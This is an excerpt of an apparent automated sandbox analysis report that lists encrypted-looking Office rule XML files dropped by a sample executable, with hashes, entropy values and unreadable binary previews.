Preview:	<?xml[_......5B.....R...p..c.f&.q"..;.qZ.....?.~E\fiu.pI ..ev.O......a.R<.u.G. ..........P...mg.6..D..u....MMd.7..w.5....OCN....85NP.....}..#.......O..,...7.q.-...5d..a...b...iU.1...R)...(%.5...1f....w..t.s.w...{...#k.....Z....\.../.+...m.8...t..F.w:.O... t.....+.?x.y..A.....R.p.lf......].~.5.3.`-..Y....-.l..s...s..9...>L...c.,.k..].../e$a...T+......U...1^.e91.. ..zv..@2.>I"p\|.K.S........tj..Wu.<.....g...ur...e.E.W....u..c.!.p.y[.....\e...4.(...[v6.]..t..k.)<.M.'gOe$...)....'.n...:..."..Z..g.i..l........dK.......tY...2A.k.(.2k8.7..)..F.~....^.8-O".h...y...u}...U....@P[.j..Y..[....5.q.Y....x.<......;.E.V.(..a..W.J.@t..E..8r'.}ao.zs.....v.5.?..}H...b.p..{....S+...P.'n....>.b.Vf4[\.M.+....j...i.h.SQ.w.GCK:B>.j..}i.#~wv;.y..-c..U...4......N].....*8..c..../)...d.5..vam.....\|..f....f...D...... =.{...........K.....I.z/@...c....AA\C..[.....t.._.?s<s..<Q2.P..w.u.<.) ....Y3^.....`...N.s......5.).$.../.;......Y.P...U1.y...q..._.....v.....uS.....aP..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.885383315421285
Encrypted:	false
SSDEEP:	24:iwXG3V8priew0TUDVDelNT7XeuoYaI/m+xO50pAE/kFmZuI6CkCkMAfU448a45p4:iwvx7nTkVKv7Xfo+c0aI6dv8W85H9D
MD5:	02DA6906C01B7A6A6F807FCBFC42044F
SHA1:	D505E45B2A2FAB9820C10223CECF975E1831FEE6
SHA-256:	EE368DAC24F55C6A0F12848BDD8B6B1C139230B44D942CAEA11E99A678154C0D
SHA-512:	014826D3332BBF6061AAE7854F4C44177360128EE717E5510D581AFCB73E32BE1AAB92611C84F82644B57E8DE76A9DA13B45B39C60D1ECEEE721F1953EFFA60A
Malicious:	false
Preview:	<?xml..kF.....`..7....e..Y../.....[.DqBl&.+l.2...<..`..~U.#..9U....N.v.F.C.>......P.K#.O....dF.......PKf.H.@....).1..H.d`JWUk..G.{...a...5Ii...<..D..{FK...Q.jd`..."...YH..JB:....H......[..iu.....a.......l8.A........~..].AU............G.$ep...........2....JG.9_../t...w..3.@A.4l.aH.X.x......e.....r..@Z.(.I.8P(.."pWq.7......_?.E..?..N_kAY...kw.......t.epH!.......6....0...]r.......!...?,...l.A.t.:.m!R.}. .NC.......w@.....jIX...C ....}Zd.V.Z..dM.)..m.g.y.r.R.k..+..h.....y...jH..2D..Q.NE.....!..V.o....=..jC.p..B..X.V..k&.....?QL..V...:...<c_...a.9>..r....F....U.T...G.T...5EPL.H.6...sp.V`R..p.8=.G.!dv)Y$".vZ..K....+.G..w.2..F..?..,=W.a])..#....6....GO.7.P..!..z3 .($.......0.n3<..Cs8....z...O....h......U....q7.Y.%.b}..T..@<....2.~.G3........\..3..u.(..g.$I..v...X...[n....L..uV#.4.M.....B..(.:,..wF.a0... .NU..j..uF.Su.q...D#.h....,M9......p.....y......A..5..0..9....r..%..v..\|..sCLM;;0...0`.@./.*..c.0M.\.k..3..i._.7..N.I..-V.. <

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.898251492277533
Encrypted:	false
SSDEEP:	48:yNxv80c6SqFVePEGHi6MnEhtgxBXXZT5tYwYsLqD:yLv80c61Vehn000J7S
MD5:	2290C6B9DE19674E95F9DBEEEAB654F2
SHA1:	F3E5086EEAD3C2C5AE291D8B0AF7433BC6B8E6D4
SHA-256:	0CA153DCDD538884345169C6613A8162E9FB7CB169F8E005B40285029DB73E80
SHA-512:	B586DFDAE401D54B3D9A2755C32683B327EFE962552554ADC5BDF135A98915C545A2777EB9370DBD0FFEE527D65A18527D06A154AE290A20F725E180F1199D5F
Malicious:	false
Preview:	<?xmlz..I.$....L.!.3.GS.......#..eW.6.8...$x...j....z..&....?.._ZTiHj.x[q......_.U%M..Z..q~..y.X.&N.p.......(^.....b.j..V+{.w;..S.X.cY&(%3./B....o....,.....&..:..3"Q.._y.t......1GC,...kzE8<......>..g....'.....7Z..f.\|?7.....vB.9(ul.c;...c9.... .2....!.K..>.".r-tM.........'.......4...F.N...o..a.X..........<^.;.....x.......T+.........^R.nP....8....Q}......1.\_.t8.%....z........b&.B]..\|.k6j."31..Q.mB....e3.Mf....b..GQ.xh.yi...V. ....O;y......z/./P.0......6..z.8.-....7d.WR...(.m......:%x/n....... .T...p.O,...[..'.&...x.B.z.X{......`.h.S.].."T.&....k...n.n)}\............g........*..;....h..:f.S\|X......[.,....p...;..2s..n]....`(.CT.U..\.-OQ....1.8Iy.X~.p..<..8>...ip..p...r...1[.G...4j...On..9CR...'.8l....L..X.....m^+!..:wE..;.....=.b^~.j...Z..m...."..OR%.m[."..wJ...}.V@m..B\|...z.8..(...0lg.....n....Zde...4..R...Ss........`..7..'.b.I:...y.\|j.<.$...S.t........}....B.f.r.G@.W"......_..xlt.1%......5........Up..y@X.a....t~/Ge.)i..t...U>[.<7A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.882306152167736
Encrypted:	false
SSDEEP:	48:CKMP6sHRN1pieQwbIJhjZ9FZ7jkJ8/puQ4Pa6Coi3y3D:JfG1pitCgrD7jkWsQMa6Cofz
MD5:	1AD4B07FE119AF48832AA47EF7452A29
SHA1:	9FDC0BA98436B58E823560AA8EC373E32938A36E
SHA-256:	0DA29DD98FEC1C73129D79014669EF6D4A67F3F597B16F8387D9B523116071ED
SHA-512:	11EAB336AF7C273C243A08C8D5D79BB9A1F7DF373879B4167F703515A6A5B0D117662F8AB669F29E75017F0BD80D33CF1A49E4F7124AEF11328B1634C2CF7CAC
Malicious:	false
Preview:	<?xml../.......k.`..G...>`...1.,.=.'.....P2.)....`7p+r..j\......V. ..f.....O.._...Z..02f6...X$.~..M.E..p..b...+"%..n..h.F..=......W..'w..FS......q..X.';.....<12..q..'...w..K...kZ...O.O{.Y.O%....Zp..$w`....A.....0d...s.....0..K.p#..G.j].......!.'..6.=J.zN.7{.n...g.s...g..,..?...C.);.j.>.......2..3?>...B....T.;.I.X.v....j...".Y.A..kf..,.A.O..X..e.......=....c8...T.Z.$...........&b."..4..X......d..$...,o.....2..m..~.....Ry..y.I....4r...D:;..c.....}...Q%..S.?Z.j....._.G.R.5..;.....0...F2.1....@.lZ...}3n8.q.V6?...v..w/..34....{.....s..[.q1.I......H.E.D<..D.....O.7....D.0......Oc....^O..`AU.H...fkr3..\|U4.(.X.....=.ufn.3.3.D.=1....&i.Y]}....._...h.^...@Sd.#. <.v&L.n...?....E...B.(.....Oh.P..s1.ZD...t...>+`.7.em.f......}wWy.{...PpQ...9.....:.m...sPi.I.!!q6..l.2...KL.)0..M.M;.<..G.T....1z... ?.........xy#..&..0.f..% .C.$..Yw..(q...c9..NCYJU.6s..\.jj.....l.OZ..f.....Q....H\...".=.4.D...-.....Ahh.:...w.\.2...)<...............gq..2.<9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.87824435303768
Encrypted:	false
SSDEEP:	48:+8+Dju/dMmbEHrXr/uPYplucUAxcA/sMkfPiMD:+U/dM/LXr/DplSxA6io
MD5:	F854CFD504D7A8A34C363DA67BC25AF6
SHA1:	6671534185E9399B7E77326AE4309186E8BCEBFB
SHA-256:	7BDD88C5DEFB60FC54C2160269EDABD4E5155FDC31D5DD311692202362E58B8E
SHA-512:	D36B64B9682465A577BA166BA632B698F4EC4512316EC7156EAEF6F8BDF4FA04A3D54963A9734BD51139C1BDB8DB0E1486B1C91154D8AC33B4CA200814629CC1
Malicious:	false
Preview:	<?xml.......`1...S8C..;./w...N..........aC...u-.....43.`...{^..{.k...!.....t.iWg./G.......6.#.r.<.:..X..._.?B../.....,X..U....b..8.rF2..\|..T."M.$..}....c&J}.n...8M........'.2...<..<...4.c..:....nX....V.j...E.-`T.b.......Q:3R.o........oZe.....i.^...:1.bd..+#O......:K...AwF.xLs.......]..K...'..X..X........?X..^.^pa...\.T.s+...W.......@...>....-V.....qb...`...U<UbQ.......t.w.u..=.c..K..#.}..S.jB.VZ.#T.b.......<....z...E.../A.a.~.P....B....8..iX..ih...[S.n.@.....@........qI.b..n1....[.3-..$cJg...B.(.<F.c..\|?...P.b\..3......Q....Z......Ma..'.t...ZS..././....AE..'...]%..C..T.,.)...d........].....j.....y.iz./r...*........wd.e..d...w.........^......V...._...e..Rn.5.."9....."P......$..7.{..a......S.B..E64.U.T.s..Qs..{r......!{.......&3..R..j~.e..p..........J.g......J=.....l`.{. .........k..o...V4..!.2.n.$.q..'A.C..aRI....O.v V....+.g.Ed.....P.w..Y.\9..W]sr...7Z.....r.o.y....<.i.D.)../.j..O..UQ.k..f..T..@.~fL.5.i....2......!..5......^K..E..tm.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.879367827089513
Encrypted:	false
SSDEEP:	48:i96Du3WCfXyxwiKNcFDlUp8BQ7oAvJYyhVLClqoiZ8D:iYDAWCfXyCRiRe8oZ9VmTQ4
MD5:	7D82901921CDED4FCE6C0426344930EA
SHA1:	11ACD50C8B4D28DD0A447E3D4F3EBFE27B05CA8E
SHA-256:	98E347D53447B0D89D327A3132126995B1A406B3AEB61F361E860943C26F2296
SHA-512:	86D953D1DB67DA27C76B55FAFA4622CA7A4CD5D9FECFA18F76084670BF91C5053E25850CC510648723837E5D919C47E13697F1BBF06E8142FFCCE9D45C9AA82F
Malicious:	false
Preview:	<?xml.+p`...y......l....j.nI.....m\.....-. ~...n%..R0.0.i.H.!n2.:.blk..1XL.<..P.#..(...b..:..)...q.L....4... sm...P8B0\|WF...).O. XY...O....B,.;~a.y.f....i...<.U.,....7.....l...D.X0d...M..:.5..}.+I....g...e<.W.+B...vk.$.o ,...%.;.M.V(.).4Z... .z.%..>.......+...=..zg.E,a2R#..[u..q.@ ..".D.eU.d......5[.s...xw...../..S....o.Fz,..9.0...s..........:.b.Y.E...8g+S -.0n.j.J...L....7..CfB../.0$hD,)......[..j.X.M.....[..........f..).7...q..B`.D q\|..Z...a.......v8.NE. .......8....G...{.Y.S7...=...M.....i..Z.&!Tg.lPa.;2\|....\|z.jY.pZ....G.K.H.=...lW.x..6..H.@-l.vX`XKT..S'.o.XRG:.r...$1...^....V....(..ce.`...E.^.E8.g.t-.....w...Q.=...Sv.}..qMZ...Ed....V.t...}T..!..4.I.........q..Fj..F.^..%.n.d.X0.....K<.%...9.7.u...X.>.x.w2...4{.G.n.l...dj.h......5<.(.TI..........l17:l.l.T..t./$p.E.bdx...].8...G.;..1...MJ-1...(.r.+.5.v..Mt......DQ..!.....Do.=.dI.6.!F....Ull.*....S..:.;..m.h.4..O .B7..b..2..;w..W...2.#&5..N...........[.Q ..i..Lr.EF.3........&...5..c.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.871567885160377
Encrypted:	false
SSDEEP:	24:PlNCxaqB8tnKsTqyEqRXd09r8i0crhC3Tzqlt3jb8QEImClP3wtcmf0mMECtbD:zCA02Eq9dgRjNCjuPkemcPgtca01ND
MD5:	2484010FB7E066242CD13E02DD257051
SHA1:	4174F7DD505825667A71C647F969EB7F9A1BE2E4
SHA-256:	1733BD66AC5B2C0024050F62043A2C974CF13234BE885F8901F2F6B91EE8E54E
SHA-512:	B5CF0FB0560EF44C9DC1AE8A7A14AECABDEE1A3308BF11E85A31958906A77F07A18A4523EF874F470AAB5A0EF276BDFB716D35A18300C023AF0945C5D86D6F5A
Malicious:	false
Preview:	<?xmlv.J.4V.d.a.@&fxv.FI.NB...........+.b.Y..qTS.3z;.SAQ+........<.w..tn.c.wcoa..zw.:....s8.8...e%.C"....v.p...G.=..SN..b.....c.....J..h_...y-.........7TZ...F.!.T......:H..y...:..B%B.g..H....Oo.mzYc..A;S.....1.)\|yg.Ho.SKz.:.......MW..z.....].u......1..T..$..S...u.t}.I%...a...`/.d...8.<O.5...m`.....l........g......kqL9)....`H........7.......&..%.F...V.r...IJS...Z@9m.%.....n_C.M....K...\|.eeAw..a#Z.d.2...K_F..=.^.V.B.<..P.......[g..S.5..(....2R5.+.!.Ye.... .P...1].S..!<...U.m.J.#.s....n.i...].a..Jy.{.4..g..W'..L#..r.3@...9?e...O.N.hS..Q;....DM.=F_%...K.........b...)n...MI.r..MJG.1...T..GM......r.G..e....<.=y.orn..5...i.5/.g.4M\|k..I...3.^:.A.}G.w...+.m......%.....U..:.$.L.1.}_..6.D.D(PaO.f.hO~..\|..3.....x.b.u.......@.6._e.9..V=E.+66*..l/...^.s.zx..+=...?xR..S_(.3..X:Og............BQ.w.L..k.5r.......;.`.d.....2<mZ..fZ....uY.T.t...z.B.+..BV'..].V..{....c(u.?.s!I.~h....[.mb.....W.).N@..4,S....s....mZ.m.p..dv.ZR.y..`...HV.Y.......JC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.882143487278708
Encrypted:	false
SSDEEP:	48:kQu66brrPhiCO8Z4dcM4F/a/C6fVlYYDi/XMXGeTXtXD:kQu62rQCO84dya6CzrDXXGeTtT
MD5:	5398CD5A49D7E5A5545DF9FBA4DF0CCA
SHA1:	DEF11D3BDF1FEF6B367E090F9DC47C713C2120AD
SHA-256:	49FE410FF4EAD1EBF624E4CAF6662BDE143928BC647DD173044401CE30C21AA0
SHA-512:	AD913F25DEF2ACFDD7D49E2BD6F974913B9EA9DA8D0AEC916971F92F672FB3F3384A81CD8F797BEFC23C6DA02A74C1B6A43F37614F91A39A239A47D1E8A806C8
Malicious:	false
Preview:	<?xml..1....^....V....p?.z..[)f.......^4...NQ.......}......7.2.o..CvH.}n.!.+...Y.`:...n..HSK1..)....K.....~.....[..`.~....w.,.......f..AXe..>.......f..>.....F.$Z.8&......./.].y].....mt...S.e.xiAtsD^vY^.......<..'.u^..exSV.i..xH......X......;.N>a%.Q.qH.!Sl.<..'....(.......O$=......y...}t>C%..<..;.>...A)N......>I.....3M.'.Dz.".E......>......*.~.r.S;...W.n......wx.......8)_...p...J..Q.......W..3...Z...kB...~fp.K.....}...^.(...........r...t.{E../r.eR..?..C<}%..\".K..R.....Zl...F..f.2.E..F...+...w..%.7.\Z.....p.N.+.J........#Q..._....{....m.vx.W.bx..s..........aL.@..........F0..D.H...6...%b..A..W._......+7...Z..\|...J....$....R.-.......'.kRf.-."z..5.{[x.........`{.!.....#....x.F.;...x.)...%o.....W.TW..z....85w...+.5.#V..".......#..G._.jZ..^.....O2.....1X..H.:..P.2...u(...2D<".b..1...M:[..M.H/`.K.&..2..j...B.l.K.5......V....&Vm......@%a.o..x%...>r.6]..)....t.-"...h..;C...>.......C..<...k..E..1.a.K.x......1.........r.j2y.....Bg=.6.K..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.896265613755105
Encrypted:	false
SSDEEP:	48:d5ItoH3h13o+3Wb8pCKJd9IRPO0OqyvZC4YnD:4OH3htwICADg/OqSy
MD5:	6B523D9B7C4F074530635226E58693B1
SHA1:	4F78F654C71992B55FBF135BFBDE42C48F1050F9
SHA-256:	D607624F133B110E72A149B02C5C15F07A77300650ED0A9AE7A0894512F04647
SHA-512:	B5FC3F16FBB78287335832757B90509B667DC12BD4DAEDF8E273787869B637566636B1D8276BBA00956A60BC9DFA95261439F00767EA21382953D34C28056490
Malicious:	false
Preview:	<?xml.W.....:...6\?FE...)Nk.rSvP....7.`....]o.N..v.z}..~o......C.x.J. .^i.....GW...eW.a.j..Ibc..gQ......_=.p......$..,yo4.....'%..8RS.Az.@...-...=.NP)......T'..(^.6.^..&.3...@...e....'..B.%..N..d-....[BH.!+1..IR.+\|...;(e.MrX..&....S..M{....,..f...BU..%0.t>w/...\|u.'..),AlVo.m.U@\|.{Z..............JfQ..o..!!.........(..o'Bc..t.c....i_W..VH..ke%.....~}..^./..Y.....p...A:..!.X.J.<...5.R..z....u.n...6S.......o..d.f.....m.SU.Z.).q.Y.L..N....0...59............gj.xp.~...7EfV..Y.a.._,.]Q:B.K.....?X\;....YL:.....F.gfT..LI{.O....}.b&.G......1.D.{...a\u"9&...x..p:L.{........G.....D2<.JB$...]I.W.h8....)9.....r.._.u..q9..C...^.'..-.T.C4....5....s.M....T}....%!>uC...CL....#3A..PR....\|.....y.G.>p.b..-;.,.........P.kP..~.zx.G=../Y....G..].....3@J......;..~..O...W..R.....`...f...E.e...\|..).@x.....r..i.k...P..!..Q.$.v.,..!d"o.....8.6...Z.H.\|.\9&`o...yy..B.\.+j$....."E..1.t.O...{.>..z..../>w.1.o.$..O..U.\.....V...v.S;.54G..\........:L/HM. ..56ed....n..r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.874941772446867
Encrypted:	false
SSDEEP:	48:JiQvkx7rd7knndaqvKNARwn2wEH+05xjywd3D:JiQvkFynndHvKNATwEv5xu0
MD5:	63BE796F16EDB81BAC1A35548ADC05AA
SHA1:	736D768DC908D6AD508B5D500783459D0E9B1E70
SHA-256:	CA1738CF1E3C3058ADAE38CF4A2BB1D4287535BF7F025501178CC49CB858B4E8
SHA-512:	3CB28EFD26EF713ACE2CEABFA9B12C088E27C0C1732499CB160C422E40893149B6855017E0332065867CA6039DCC7549E7D84B2829823BCE14B43AFEFC908308
Malicious:	false
Preview:	<?xmlV.h...).'.)U+d7...H...>.'3KX(....5fB.......Z.>,.=A.].hjp!.g....ji.]Rk'Y.\.D.....f....gE41\.Pn>....8I.!}....i%.:.t..9....{Fo..p.(.6v..Vn.(....1/:...a..._,..JYE..u.)_f...[oiIWw..s.+.i..sr...\|.._A.....b...S$.s..D.....+.....Q.!...Kb.Z.2......v@1l..H9.Z>..u-.........9e......l>...(1`qKm!.G..;d..........81.X...S..U.B.q...E.J.3$..wE.....P..a3....z.;q.B.cW?=M...E...t.R...N...>..Ga........{..[.W.~.=YJ......oU9u..r%.n......yDQ..$.......6.o.J.../+l.90/.........Y..A.......I..[.....Y.<..\...k...U.qe.J.>..n.d1(..y}...=..v... ...d.G.jy...$.d...q..Q,....!..=..l&.h3..z.H.SQ.....@..R.@........Z0....Z..6..;....x.x..b./....Fi.2.:r;..HW...m.X............g.7..[@B.!C.U......p...C...M.A.0.,Lr:xm..$.eh......o..A0.I..MNe....2....]....#.Aq...G..:..2.S.o.d...H.x.J.....I.8{..?.j......u...Lxs.?..9.;..I.U>.]..s.....B.m.u.....De....s.+..^..Q. ..W._gF.^.....gY.6.....N..^..f.......Rs :..h.R..,..R.RT$>l.h.1...?.d...}.......k...S....9...]..,.Pm...........O.OQ.4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.903831817568182
Encrypted:	false
SSDEEP:	24:smRJ3yQZ1/Z9T2cA+HjIr+A07iyMKeZ64HfmRg8fpvid1fkbD:ZpyQz7q6IqSK66KFiQuD
MD5:	91EF685275A45F3E2F75696DD097EF73
SHA1:	2652BF63944157B20CC743AF6A2D2BA7566C166D
SHA-256:	4C6B073FFAF5091EDC4D800F9E180D2152886ABF4FA2E6831AE22E9F5F57127B
SHA-512:	A61BEE897CEE879E9BD69DDC7B5729ECE92D9281DFE51207B141A0B23862299D0FDD518A54F533CE53CECABEE5DDDC46F6EC51A2174AD583743359703E22A7CA
Malicious:	false
Preview:	<?xml..A\.?......v....^20...9dyh.-....z....L..7B_..u.IM........N7.=O..j....N.1J!.&.,.1..LWt=P.K..?u[f.H..T.[#..........C...bvo..r..K.[.C.;.c....lzg..ZB..?..../..[m.l....<.@4A..t......n.{p).$@.J...........$.......k...(.C ~1..-Y..f:.=V.9.....K..M..D...m.3Q.M.......T.&..l.&%i(F.A.i..EO.......E..0h=......V%e...L.B..J.\.C........;C\|SK.....x....p.5...YJ.g...l..../a..a.....NA...]TE.Ce.....U.N...Q.@....M.3...........%..`1.X..T.$.yS.I.k.pL.ueV.v^f.8.........wL..BHjHGwE~..y.{..K.....0N`..g.R.z.a%.....0o.V..Cq.\|..!.2..K=.#S..<.}lS..1...9Udk$..."@..^...f..Q%...n...:....M.@8K.......^.....,A.&z.......f..+.e..Ks..F.G...UQ...P>...x.k......'...:%.d....Z...B3.M....j..J..-...<0..Z.W.).....i.....9.,[.H3./.<....;..u..v......^.;S....#.t....0y....gM...F..^[#'......}O\|\|......e........~.Q..U."3(...&#.(.v.7.^.......Tp1.o......j.`.......Nh.Sg.".e..Qx......7n.C...Wd...z.A.3.Y..@..O.-...q..D....Y.sJ...j.B$oBN.q`..{_.z..x.U....X...l[.k...."..h.....WZ.....P5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.883481577188467
Encrypted:	false
SSDEEP:	48:9YQDa1qTMR88+Kfu/TxxpGYOxLsezrNlKv/D:lacA/+d/y5XUr
MD5:	0D0AEDEFF90B5F2BB275C239B734943A
SHA1:	4E05F5F6625544F5F2008562C310264A949E9181
SHA-256:	33F58C55877C7A570AEC5B6CD80F7DDD5B6562EC4C83C567A14A1DEA5330FF8F
SHA-512:	FFE2ACAA6C2E4218B7718FA098F8A3FCA7282157AEDAAA6E2CE1E510F2EFC46C04631F3B4910FA6C296C56578CB86EA53BD3B0296EA37C8D0F8344516462E406
Malicious:	false
Preview:	<?xml.....3...M..Uc.\.......w..#......z]./...cr...t..uqt)..h.+..U!..N....W.H...1.=&...{.U....q ..n$t...g....&..w..z2....\^J...b...!V{<.Ks..o7..3.....7.....s..a......>"..fJ-`R._....J......g......u..m....#.0.s..L.N.x&...z.J....i.c>...UA..b.y_......G. ....\|=.d(U.C.....H.0]6..vSQl.(I.;.M..1..E.ilFf.I..@.._.....(7.......N/.....+..8d...2%.vX.o......7N.e9+yF..eA..S...#.$E.P..k.5.C.v..D)s.F...}...=.......X.....Z...+%E....u._..<?..w..84\.......%.ZCK..V..../...8.N.".U( E.!.)h5.W..8...fyPWZ.........Q.4c~N>9...v....].t..:l.x......C...........3.)..{Z.."..t....:.C.u.4=.=......I..j}'....1.o.?-.=.`...:.P..U..)B..J#.8.Y.....[..\.a%. ..\|.h..k......h.s7......}.._...D.F.....q.)...~y.....b.zrL...us(.$....e...&...8DU..)..`../;.V........./.G4...-7..$...o.o.7...B...X..u.......4.l....{................e.N7.....hrv...;..Z...].<....WUS.4......F..z..@\|.o..]..q..$.9..j.3..ss.6.EJ.q.S>.f..b.Z..1..xQV...%...X...u.;=d.....l.'..i.W`$.kZj....}<g.6.B@............1V.A0.i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.877066668365087
Encrypted:	false
SSDEEP:	48:6UuNB6gthxE58Y6jiFezpEWU+G6rmJ34D:6Uur6gt/E58toeVEWU+G6SJ3k
MD5:	9C8B912E97D3C149B365DF5314792B11
SHA1:	0024ADE7630F724F54D5893EA5769BC9EAF448AF
SHA-256:	AF197B179606D351FA50197ABC4D997DAF945B073302755FFDD3336418BAF80A
SHA-512:	9B42D957FA6C3A88555A4B945C9EF20B4C9371155E269F56DA46BA844B5D2A3583EE7B6EFD3C387494119E2D62FA99B6A4EDB32B2AA4290A18ECCB33D370158A
Malicious:	false
Preview:	<?xml...y......d.P...-"n..tT<....3Q.6.r....W>.e.@.y.@.0P.D.t....RF..$.^..{.>..?....a.C$.4..K.....&W......FO.^.s....iK..Y.Z6.....'7.xG ..&\.#...Nk.. 7R7.oj..z...f..&....8.$/.2T.>...X....."..G.G.../.Q.x$J\s...U5.......?.....:..e.H....&.7.^.o.<..\|Wk.@[E.......]..v!^^1^2.j..G&.<. .K....M... .....ft}K..B.?A\st.y..!.JE.j.]..<....I..R...m.:.nYPX.a..........3.>li..o...^.D1Ejo..+.X.Y..l....5;.......+.)1..S..'w..._+B. .7..,d.kZ.......~...H95b.N.P+...=.....ZG.......^:.F.....rM8S.........si..aF....u2..s.J.n.....#.Z..u....T..%s.8{b.........K....6..........#..yq$..%...S.$.r.m.._.pJ.%..E.....>...y..\A}.{...`aU.O......t.6..v.F[......_....W..~...G.B.s..a...A...W ..6...C.m...a.......O.^....?(Ja.H.o....ql.......z\..m..8i..b.&p.#.V.u...E.L..4.o3....L...lN..fL.J"jR@.NZ\|6.y..............N......!.$Wy@G_.*x._j..>....WG\......$.G....s.....C.vLB(....Tq..P.x.......P...9_..bB...GN`.E.j..#.jvu...d..&.X..1=......bl_T...Q. 91...IG.......ZQW..c.%.8$/.{..1./...[.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.872751976144546
Encrypted:	false
SSDEEP:	24:i2CGfV/23sUm9/9eId13ehiY/tjJ7cro7evVis75KzxDTqWQuQ1bD:7NOFWlCzFjJSOedh5K0nrD
MD5:	5CC28A1B59E129A68F15E49B9897ACDC
SHA1:	BEFD74DFCED98E308B35ACFD39D0B6C8FAB8616F
SHA-256:	F3A60A2BA84FC3FD1B49C9F1B1FFEBE2B34B707302C14B0FCD7DD178D7D403B0
SHA-512:	377FA8D981A9E621761AD0602CF309166D059D595D7B17D66E16F98ACD1557414E9D0E58C27DE8AEAF52A0B36E625B8E45D0F9239C8BC02CE18C3B574DA262E2
Malicious:	false
Preview:	<?xml.7.;x7.Opg.]M.....b.St.4.8...)z..\..}k.?Z..?....]:F.x..b.D..Z.TP.t0.?...Z.....#.)Xpt...-.ND'.....#.d.mB...DVy...@....W."....'a....]-.....E..Y...AN.. .q..o...h.I..-Tq1$+B\|.. ._..[~$.Fa....;..K. .Q....\|.5Tf.y.6.....H.W.....NU.jx.V.....S.....dA.EO...i1.4..@.:<... .A7'..=..L..tW.bu.7-...Y...nHvI.%U]R"......je,.\|.$-.\|eR.n:WM.]..H.* 1..4._:.....\..%.....w..P..n..&o..X.n.ZJy.Q$..VO.H.XA:c..F_......F..hzu{......+..\%.Q..lo..............d........F.k...%k..u.)...d.q..F.8...S...1}...)h...}."2.;.[..7......}........+..lc.....X..y.h4y...]......Eq...I.....,..FE.;..?..y6 .......uZ.[,........L.....W...795e.&.H..5.."....p.h.FL.V.hQ6....urQd..8.M..'.!.9.j..Y..N.?K^v.....m8..V...(...F.).w....)..E.iAM.;.x...y....9.2.....P.......mH......D...;pH@...f4lSr..!=.u..UHr.Q.x.%G!.x.E...Uj.....{.................m...`......~.?..............9.[.c1../.`..l...D`.....&4....d1.0:>......L....d..q..~........9.`...7.o<"......a..4@..>>."...[.t...".b.d%mr.&....u..-..+"...@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8759895481065945
Encrypted:	false
SSDEEP:	48:kTrncyN659lze/A6ipQTaYEySW20i+f33MsD:irn1N65v+c4azBcJMI
MD5:	DECAD3F5CDD323853CA69B1C2A0A8785
SHA1:	750E8877722AEF09174EE44D6BFA66E8DAB7242A
SHA-256:	9AA6CD873CDE9487207019DD7939F8155E8FF3494842AB1EC36F8DA053AABC23
SHA-512:	F05311FE9B8260886D3FACA2BAE94C1C055825C859D362E1B42878B122F3CDEB5CDBD32A35C1CC29A0A43B3A9287BBA9A5B499B3FDE45F31FF565632DF058811
Malicious:	false
